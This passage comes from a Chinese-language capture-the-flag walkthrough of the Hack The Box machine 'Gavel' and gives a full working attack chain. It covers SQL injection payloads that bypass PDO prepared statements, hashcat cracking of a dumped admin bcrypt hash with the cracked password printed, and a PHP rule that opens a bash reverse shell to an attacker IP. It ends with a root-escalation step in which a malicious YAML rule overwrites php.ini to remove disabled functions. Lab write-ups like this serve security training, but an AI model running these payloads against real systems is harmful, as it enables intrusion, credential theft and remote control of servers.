$bidder);\n} catch (Throwable $e) {\n    error_log(\"Rule error: \" . $e-&gt;getMessage());\n    $allowed = false;\n}\n\nif (!$allowed) {\n    echo json_encode(['success' =&gt; false, 'message' =&gt; $rule_message]);\n    exit;\n}<\/code><\/pre>\n<p>\u7531\u6b64\u53ef\u89c1\uff0c<code>auction['rule']<\/code>\u5b9e\u9645\u4e0a\u662f\u4e00\u4e2a<code>PHP<\/code>\u8868\u8fbe\u5f0f\u3002\u67e5\u770b<code>default.yaml<\/code>\u4e5f\u53ef\u53d1\u73b0\u8fd9\u4e00\u60c5\u51b5\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764578191456-ac227257-e0f5-4302-ac14-70e513e4c5fe.png\" alt=\"\" \/><\/p>\n<p>\u7efc\u5408\u4e0a\u8ff0\u5206\u6790\u7ed3\u679c\uff0c\u4e0d\u96be\u53d1\u73b0\u653b\u51fb\u94fe\uff1a<\/p>\n<ol>\n<li>\u901a\u8fc7<code>inventory.php<\/code>\u7684<code>SQLi<\/code>\u6ce8\u5165\u6f0f\u6d1e\uff0c\u67e5\u8be2\u51fa\u89d2\u8272\u4e3a<code>auctionerr<\/code>\u7528\u6237\u7684\u5bc6\u7801\u54c8\u5e0c\uff1b<\/li>\n<li>\u5bf9\u54c8\u5e0c\u8fdb\u884c\u66b4\u529b\u7834\u89e3\uff1b<\/li>\n<li>\u5982\u7834\u89e3\u6210\u529f\uff0c\u5219\u8fdb\u5165\u7ba1\u7406\u5458\u64cd\u4f5c\u754c\u9762\uff0c\u6dfb\u52a0\u5e26\u6709\u53cd\u5f39<code>Shell<\/code>\u540e\u95e8\u7684<code>Rule<\/code>\uff1b<\/li>\n<li>\u8fd4\u56de<code>Bidding<\/code>\u754c\u9762\uff0c\u968f\u610f\u8f93\u5165\u4e00\u4e2a\u7b26\u5408\u5927\u4e8e<code>Current BID<\/code>\u4e14\u5c0f\u4e8e\u8d26\u6237\u91d1\u989d\u7684\u503c\uff0c\u6267\u884c\u540e\u95e8\u3002<\/li>\n<\/ol>\n<h2>\u7ed5\u8fc7PDO\u9884\u7f16\u8bd1\u5229\u7528SQLi<\/h2>\n<p>\u5728\u6e90\u4ee3\u7801\u5ba1\u8ba1\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u4e86\u7ad9\u70b9\u5b58\u5728\u672a\u6388\u6743<code>SQLi<\/code>\u6f0f\u6d1e\uff0c\u4e14\u82e5\u53d6\u5f97\u7ba1\u7406\u5458\u6743\u9650\u540e\u53ef\u6dfb\u52a0\u547d\u4ee4\u6267\u884c\u540e\u95e8\u8fd9\u4e00\u653b\u51fb\u94fe\uff0c\u73b0\u5728\u8fdb\u884c<code>SQLi<\/code>\u6f0f\u6d1e\u5229\u7528\u3002<\/p>\n<p>\u89c2\u5bdf<code>inventory.php<\/code>\u7b2c<code>13<\/code>\u884c\uff0c\u53d1\u73b0\u4f20\u5165\u7684<code>sort<\/code>\u53c2\u6570\u5728\u8d4b\u503c\u7ed9<code>col<\/code>\u53d8\u91cf\u65f6\uff0c\u524d\u540e\u62fc\u63a5\u4e86\u4e24\u4e2a\u53cd\u5f15\u53f7\uff0c\u4e14\u53c2\u6570\u503c\u88ab<code>str_replace()<\/code>\u65b9\u6cd5\u8fc7\u6ee4\u4e86\u5185\u5bb9\u4e2d\u6240\u6709\u53cd\u5f15\u53f7\u5b57\u7b26\uff0c\u8fd9\u5bfc\u81f4\u65e0\u6cd5\u4f7f\u7528\u4f20\u5165\u5e26\u53cd\u5f15\u53f7\u5185\u5bb9\u8fdb\u884c\u6ce8\u5165\uff1a<\/p>\n<pre><code class=\"language-php\">$col = \"`\" . str_replace(\"`\", \"\", $sortItem) . \"`\";<\/code><\/pre>\n<blockquote><p>\u8fd1\u65e5\uff0c\u5728<code>DownUnder CTF 2025<\/code>\u6bd4\u8d5b\u4e2d\uff0c\u8003\u5bdf\u4e86\u4e00\u79cd\u65b0\u7684<code>SQL<\/code>\u6ce8\u5165\u5229\u7528\u65b9\u6cd5\u3002\u8be5\u653b\u51fb\u624b\u6cd5\u5229\u7528<code>PHP PDO<\/code>\u9884\u7f16\u8bd1\u529f\u80fd\u7684\u4e00\u4e9b\u7f3a\u9677\uff1a\u5f53\u5f00\u53d1\u8005\u5c06\u90e8\u5206\u53c2\u6570\u76f4\u63a5\u62fc\u63a5\u5230\u67e5\u8be2\u8bed\u53e5\u6a21\u677f\u4e2d\uff0c\u4f46\u56e0\u4e3a\u4e00\u4e9b\u524d\u540e\u62fc\u63a5\u53cd\u5f15\u53f7\u65e0\u6cd5\u76f4\u63a5\u8fdb\u884c\u6ce8\u5165\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u4f20\u5165\u95ee\u53f7\u548c\u7ec8\u6b62\u5b57\u7b26<code>%00<\/code>\u7834\u574f\u9884\u7f16\u8bd1\u8bed\u53e5\u7ed3\u6784\uff0c\u65b0\u521b\u5efa\u4e00\u4e2a\u6a21\u677f\u4f4d\u7f6e\uff0c\u4f7f\u4e4b\u53ef\u4ee5\u4f20\u5165\u4efb\u610f<code>SQL<\/code>\u8bed\u53e5\u8fdb\u884c\u6ce8\u5165\u3002\u8be6\u60c5\u53ef\u89c1\uff1a<a href=\"https:\/\/cyberpress.org\/php-pdo-flaw\/\" target=\"_blank\"  rel=\"nofollow\" >PHP PDO Flaw Allows Hackers to Inject Malicious SQL<\/a><\/p><\/blockquote>\n<p>\u9488\u5bf9\u8be5\u79cd\u60c5\u51b5\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u4f20\u5165\u5e26<code>?<\/code>\u53f7\u5185\u5bb9\u7684\u65b9\u6cd5\uff0c\u7834\u574f<code>PDO<\/code>\u9884\u7f16\u8bd1\u8bed\u53e5\u7684\u7ed3\u6784\uff0c\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u9884\u7f16\u8bd1\u53c2\u6570\u3002\u8fd9\u91cc\u53ef\u4ee5\u4f20\u5165\uff1a<code>?;--+-%00<\/code>\uff0c\u4f7f\u5b9e\u9645\u8bed\u53e5\u53d8\u4e3a\uff1a<\/p>\n<pre><code class=\"language-plsql\">SELECT `?;-- -` FROM inventory WHERE user_id = ? ORDER BY item_name ASC<\/code><\/pre>\n<p>\u6b64\u65f6\uff0c\u7531\u4e8e<code>user_id<\/code>\u53c2\u6570\u672a\u7ecf\u4efb\u4f55\u8fc7\u6ee4\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8be5\u53c2\u6570\u4f20\u5165\u6ce8\u5165\u8bed\u53e5\uff1a<code>x<\/code>+from+(select+version()+as+<code>'x<\/code>)y;--+-`\uff0c\u8fd9\u6837\u5b9e\u9645\u8bed\u53e5\u5c31\u53d8\u4e3a\u4e86\uff1a<\/p>\n<pre><code class=\"language-plsql\">SELECT `x`+from+(select+version()+as+`x`)y;-- -';-- -` FROM inventory WHERE user_id = ? ORDER BY item_name ASC<\/code><\/pre>\n<p>\u73b0\u5728\u5c1d\u8bd5\u8fdb\u884c\u6ce8\u5165\u3002\u9996\u5148\u8bbf\u95ee<code>http:\/\/gavel.htb\/inventory.php<\/code>\u5e76\u6253\u5f00<code>BurpSuite<\/code>\uff0c\u70b9\u51fb\u53f3\u4e0a\u89d2\u5206\u7c7b\uff0c\u9009\u62e9<code>Quantity<\/code>\u70b9\u51fb\uff0c\u622a\u53d6\u8bf7\u6c42\u5305\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764583217541-0cc53af8-ac3e-4a63-a2d0-5d69a309f2ee.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u9001\u81f3<code>Repeater<\/code>\uff0c\u4fee\u6539<code>user_id<\/code>\u548c<code>sort<\/code>\u53c2\u6570\uff0c\u968f\u540e\u53d1\u9001\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764583399157-932d95d4-3500-4801-a961-98e6b6dfa53c.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u8fdb\u884c<code>SQL<\/code>\u6ce8\u5165\uff01\u73b0\u5728\u4f7f\u7528<code>count()<\/code>\u51fd\u6570\u67e5\u8be2<code>users<\/code>\u8868\u5185\u8bb0\u5f55\u6570\u91cf\uff1a<\/p>\n<pre><code class=\"language-plain\">user_id=x`+from+(select+count(*)+as+`'x`+from+users)y;--+-&amp;sort=?;--+-%00<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764583517341-155bf27a-e83a-4659-8f9a-8cb0142e54d7.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7528\u6237\u8868\u5185\u5b58\u5728<code>2<\/code>\u6761\u7528\u6237\u8bb0\u5f55\uff0c\u4e0b\u9762\u67e5\u770b\u7b2c\u4e00\u6761\u7528\u6237\u8bb0\u5f55\uff0c\u9009\u4e2d<code>username<\/code>\u3001<code>password<\/code>\u548c<code>role<\/code>\uff1a<\/p>\n<pre><code class=\"language-plain\">user_id=x`+from+(select+concat(username,0x7e,password,0x7e,role)+as+`'x`+from+users+limit+0,1)y;--+-&amp;sort=?;--+-%00<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764583755819-d6f13164-5c35-46d7-a047-ee84e9bde5a6.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u7ba1\u7406\u5458\u7528\u6237<code>auctioneer<\/code>\u5bc6\u7801<code>Brcypt<\/code>\u54c8\u5e0c\uff1a<code>$2y$10$MNkDHV6g16FjW\/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS<\/code>\uff01<\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>hashcat<\/code>\u7206\u7834\u54c8\u5e0c\uff0c\u5b57\u5178\u4f7f\u7528<code>rockyou.txt<\/code>\uff1a<\/p>\n<pre><code class=\"language-powershell\">.\/hashcat.exe -m 3200 -a 0 \"`$2y`$10`$MNkDHV6g16FjW\/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS\" .\/rockyou.txt --force<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764584799063-ff5fd689-d4b8-43f5-9274-67c9fe675699.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u7834\u89e3\u7f51\u7ad9\u7ba1\u7406\u5458\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>auctioneer<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>midnight1<\/code><\/li>\n<\/ul>\n<h2>Bidding\u529f\u80fd\u6dfb\u52a0\u540e\u95e8\u9879\u76ee<\/h2>\n<p>\u83b7\u53d6\u7ba1\u7406\u5458\u51ed\u636e\u540e\uff0c\u76f4\u63a5\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764585203951-ff56dab1-f4d0-442e-bc8c-3f63ccc4ddab.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01\u70b9\u51fb<code>Admin Panel<\/code>\u8bbf\u95ee\u7ba1\u7406\u5458\u540e\u53f0\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764586435132-05db7747-00fe-4745-95be-7b7116aa73cc.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u53ef\u4ee5\u4fee\u6539\u5904\u4e8e\u6fc0\u6d3b\u72b6\u6001<code>Auction<\/code>\u7684\u6761\u4ef6\u5224\u65ad\u8868\u8fbe\u5f0f\u548c\u7b80\u4ecb\u3002\u9996\u5148\u5728\u672c\u5730\u542f\u52a8<code>netcat<\/code>\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-shell\">rlwrap nc -l -p 443 -s 10.10.14.87<\/code><\/pre>\n<p>\u968f\u540e\u542f\u52a8<code>BurpSuite<\/code>\uff0c\u6253\u5f00\u62e6\u622a\u51c6\u5907\uff0c\u63a5\u7740\u5728\u65f6\u95f4\u5145\u88d5\u7684\u60c5\u51b5\u4e0b\u9009\u62e9\u4e00\u4e2a<code>Auction<\/code>\uff0c\u968f\u4fbf\u586b\u5199\u6761\u4ef6\u8868\u8fbe\u5f0f\u548c\u63d0\u793a\u4fe1\u606f\uff0c\u5728<code>BurpSuite<\/code>\u62e6\u622a\u5176\u4e2d\u586b\u5165\u6076\u610f\u6761\u4ef6\u8868\u8fbe\u5f0f\uff1a<\/p>\n<pre><code class=\"language-php\">return system(\"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.87\/443 0&gt;&amp;1'\");<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764586781435-07967f3d-735b-4d70-8236-28a282601a8c.png\" alt=\"\" \/><\/p>\n<p>\u70b9\u51fb<code>Forward<\/code>\u53d1\u9001\uff0c\u4fee\u6539\u6210\u529f\u540e\uff0c\u5207\u6362\u56de<code>Bidding<\/code>\u754c\u9762\uff0c\u627e\u5230\u5df2\u88ab\u4fee\u6539\u7684\u6076\u610f<code>Auction<\/code>\uff0c\u8f93\u5165\u4e00\u4e2a\u5927\u4e8e<code>Current BID<\/code>\u7684\u503c\u540e\uff0c\u591a\u6b21\u70b9\u51fb<code>Place Bid<\/code>\u89e6\u53d1\u547d\u4ee4\u6267\u884c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764586840615-a682d023-6300-47bc-97d7-0044fe1e970a.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764586950212-be62f294-0d5e-4561-904b-84806715a74d.png\" alt=\"\" \/><\/p>\n<p><strong>\u53cd\u5f39Shell\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u76ee\u5f55\u4fe1\u606f\u6536\u96c6<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u5f00\u59cb\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\uff0c\u5728<code>\/opt\/gavel\/<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86\u53ef\u7591\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764740479262-265cac11-7be8-47e8-9574-b33640ebc710.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b<code>.config<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0\u5b58\u5728\u5b50\u76ee\u5f55<code>php<\/code>\uff0c\u76ee\u5f55\u4e2d\u5b58\u5728\u4e00\u4efd<code>PHP<\/code>\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-shell\">ls -lAR .config<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764740612662-7a8df9f0-167b-4ca6-bb0f-0b8b584064d6.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u914d\u7f6e\u6587\u4ef6\u5185\u5bb9\uff0c\u53d1\u73b0\u7981\u7528\u4e86\u5927\u91cf\u5371\u9669\u65b9\u6cd5\uff1a<\/p>\n<pre><code class=\"language-plain\">engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nopen_basedir=\/opt\/gavel\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\ndisable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client\nscan_dir=\nallow_url_fopen=Off\nallow_url_include=Off<\/code><\/pre>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u53d1\u73b0\u5176\u5b83\u4fe1\u606f\u3002<\/p>\n<h2>\u79fb\u52a8\u81f3auctioneer\u7528\u6237<\/h2>\n<p>\u67e5\u770b<code>\/home<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0\u9776\u673a\u7cfb\u7edf\u4e0a\u4e5f\u5b58\u5728\u4e00\u4e2a<code>auctioneer<\/code>\u7528\u6237\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764740832518-7ea27a37-d381-4a7a-9b22-3f8755ee2faf.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u524d\u9762\u53d1\u73b0\u7684\u51ed\u636e\u5207\u6362\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">su auctioneer<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764740925707-a3b74299-abbf-4f4d-809e-6eb5e58df0b5.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01\u53d1\u73b0<code>auctioneer<\/code>\u7528\u6237\u8fd8\u5c5e\u4e8e<code>gavel-seller<\/code>\u7ec4\u3002<\/p>\n<h2>\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f\u6536\u96c6<\/h2>\n<p>\u79fb\u52a8\u81f3<code>auctioneer<\/code>\u7528\u6237\u540e\uff0c\u4f7f\u7528<code>linpeas<\/code>\u5de5\u5177\u8fdb\u884c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f\u6536\u96c6\u3002<\/p>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741227235-9eb65c7b-32c3-45e9-8101-c5bf2db06e4d.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741293551-e7779bcf-fb23-49d5-b261-00e94ea18e49.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741335246-86d4087a-18aa-4a60-917b-851f5ba539c8.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741255642-b7b570bf-ce95-41fb-9443-d2cd6e207ca4.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741412754-1cdfb348-5820-4bb0-a07a-849f6d15ad94.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741457939-f2770df0-cb30-4ce5-81a5-a12d8f1c2238.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741374697-0ce099b8-c0a7-45f7-b5ce-629ce4c2dd77.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741489303-13b1754b-478e-43e2-a54b-d9396a2fc7d1.png\" alt=\"\" \/><\/p>\n<p><strong>\u5177\u6709\u6267\u884c\u6743\u9650\u7684\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741550099-298641ef-6e84-4c00-a5fe-e411bc78f3ce.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0\u7a0b\u5e8f<code>\/usr\/local\/bin\/gavel-util<\/code>\u7a0b\u5e8f\u6240\u6709\u8005\u4e3a<code>root<\/code>\uff0c\u4f46\u6240\u6709\u7ec4\u4e3a<code>gavel-seller<\/code>\uff0c\u6743\u9650\u4e3a<code>0755<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">ls -lA \/usr\/local\/bin\/gavel-util<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741802284-24319c5f-5a76-40e9-9dff-03b2ee2e1bd8.png\" alt=\"\" \/><\/p>\n<p>\u51b3\u5b9a\u4ee5\u8be5\u7a0b\u5e8f\u4e3a\u7a81\u7834\u53e3\uff0c\u8fdb\u884c\u679a\u4e3e\u548c\u63d0\u6743\u3002<\/p>\n<h2>gavel-util\u7a0b\u5e8f\u5229\u7528\u63d0\u6743<\/h2>\n<p>\u5728\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f\u6536\u96c6\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0<code>\/usr\/local\/bin\/gavel-util<\/code>\u7a0b\u5e8f\u6240\u6709\u7ec4\u4e3a<code>gavel-seller<\/code>\uff0c\u6743\u9650\u7a0d\u663e\u7279\u6b8a\u3002\u9996\u5148\u5c1d\u8bd5\u4e0d\u5e26\u53c2\u6570\u6267\u884c\u8be5\u7a0b\u5e8f\uff0c\u67e5\u770b\u5e2e\u52a9\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-shell\">gavel-util<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764741988350-8c04a4ee-ba28-4605-be70-1edc77cd52d2.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7a0b\u5e8f\u6709<code>submit<\/code>\u3001<code>stats<\/code>\u548c<code>invoice<\/code>\u4e09\u4e2a\u53c2\u6570\u529f\u80fd\uff0c\u5c1d\u8bd5\u8fd0\u884c<code>stats<\/code>\u529f\u80fd\uff1a<\/p>\n<pre><code class=\"language-shell\">gavel-util stats<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764742066376-ffe92bef-1e7a-445c-8c75-c6de249ed97d.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7a0b\u5e8f\u5b9e\u9645\u4e0a\u662f\u4e4b\u524d\u7f51\u7ad9\u5185\u6a21\u62df\u8d2d\u7269\u5c0f\u6e38\u620f\u5728\u672c\u5730\u4e0a\u7684\u5b9e\u73b0\uff0c\u7ed3\u5408\u5728<code>\/opt\/gavel<\/code>\u5185\u53d1\u73b0\u7684<code>PHP<\/code>\u914d\u7f6e\u6587\u4ef6\uff0c\u731c\u6d4b\u8be5\u5c0f\u6e38\u620f\u4e3b\u4f53\u7a0b\u5e8f\u867d\u7136\u4e3a<code>Linux<\/code>\u4e8c\u8fdb\u5236\u7a0b\u5e8f\uff0c\u4f46\u8c03\u7528\u4e86\u672c\u5730<code>PHP<\/code>\u73af\u5883\u6765\u5b9e\u73b0\u6a21\u62df\u8d2d\u7269\u529f\u80fd\uff0c\u6240\u6709\u7684<code>Auction<\/code>\u4e5f\u662f\u4ece\u6570\u636e\u5e93\u4e2d\u67e5\u8be2\u5f97\u6765\u3002<\/p>\n<p>\u5c1d\u8bd5\u65b0\u5efa\u4e00\u4e2a<code>test.txt<\/code>\uff0c\u5185\u5bb9\u586b\u5165<code>test<\/code>\uff0c\u968f\u540e\u4f7f\u7528<code>submit<\/code>\u529f\u80fd\u5c1d\u8bd5\u4f7f\u7528\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-shell\">gavel-util submit test.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764742583827-0b3fe715-b894-4204-96ea-6a313da57ba7.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7a0b\u5e8f\u8981\u6c42\u4f20\u5165<code>YAML<\/code>\u6587\u6863\uff0c\u53c2\u6570\u5305\u62ec\u540d\u79f0\u3001\u63cf\u8ff0\u3001\u4ef7\u683c\u548c\u89c4\u5219\u5224\u65ad\u8868\u8fbe\u5f0f\u7b49\uff0c\u548c\u7f51\u7ad9\u4e2d\u7684<code>Auction<\/code>\u7ec4\u6210\u90e8\u5206\u4e00\u81f4\u3002<\/p>\n<p>\u76f4\u63a5\u5728\u672c\u5730\u65b0\u5efa<code>YAML<\/code>\u6587\u6863\uff0c\u5199\u5165\u6076\u610f<code>Auction<\/code>\u89c4\u5219\u3002\u8003\u8651\u5230<code>\/opt\/gavel\/.config\/php\/php.ini<\/code>\u5185\u5173\u95ed\u4e86\u51e0\u4e4e\u6240\u6709\u547d\u4ee4\u6267\u884c\u65b9\u6cd5\uff0c\u9996\u5148\u7f16\u5199\u4e00\u4efd\u65e0<code>disable_functions<\/code>\u7684<code>PHP<\/code>\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-plain\">engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nopen_basedir=\/opt\/gavel\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\nscan_dir=\nallow_url_fopen=Off\nallow_url_include=Off<\/code><\/pre>\n<p>\u5c06\u5176\u7f16\u7801\u4e3a<code>Base64<\/code>\u6587\u672c\uff0c\u7136\u540e\u7f16\u5199\u6076\u610f<code>YAML<\/code>\u89c4\u5219\u6587\u6863\uff0c\u4f7f\u7528<code>file_put_contents()<\/code>\u65b9\u6cd5\u5c06\u65e0\u7981\u7528\u51fd\u6570\u7684\u914d\u7f6e\u6587\u4ef6\u8986\u76d6\u5230<code>php.ini<\/code>\u6587\u4ef6\u4e2d\uff1a<\/p>\n<pre><code class=\"language-yaml\">name: evil\ndescription: evil\nimage: http:\/\/127.0.0.1:80\/\nprice: 100\nrule_msg: evil\nrule: |\n    file_put_contents(\"\/opt\/gavel\/.config\/php\/php.ini\", base64_decode(\"ZW5naW5lPU9uCmRpc3BsYXlfZXJyb3JzPU9uCmRpc3BsYXlfc3RhcnR1cF9lcnJvcnM9T24KbG9nX2Vycm9ycz1PZmYKZXJyb3JfcmVwb3J0aW5nPUVfQUxMCm9wZW5fYmFzZWRpcj0vb3B0L2dhdmVsCm1lbW9yeV9saW1pdD0zMk0KbWF4X2V4ZWN1dGlvbl90aW1lPTMKbWF4X2lucHV0X3RpbWU9MTAKc2Nhbl9kaXI9CmFsbG93X3VybF9mb3Blbj1PZmYKYWxsb3dfdXJsX2luY2x1ZGU9T2ZmCg==\"));\n    return false;<\/code><\/pre>\n<p>\u63a5\u7740\u5728\u9776\u673a\u4e2d\u4f7f\u7528<code>wget<\/code>\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6\uff0c\u901a\u8fc7<code>gavel-util<\/code>\u5de5\u5177\u4e0a\u4f20\uff1a<\/p>\n<pre><code class=\"language-shell\">wget http:\/\/10.10.14.101\/evil.yaml\ngavel-util submit evil.yaml<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764743373611-59541049-aed3-4d22-bcc2-d48b54eb21a3.png\" alt=\"\" \/><\/p>\n<p>\u4e0a\u4f20\u6210\u529f\uff01\u67e5\u770b<code>\/opt\/gavel\/.config\/php\/php.ini<\/code>\uff0c\u53d1\u73b0\u6587\u4ef6\u5df2\u7ecf\u88ab\u4fee\u6539\u4e86\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764743495164-7d0659e0-1382-4ecc-aba1-274ce818b46b.png\" alt=\"\" 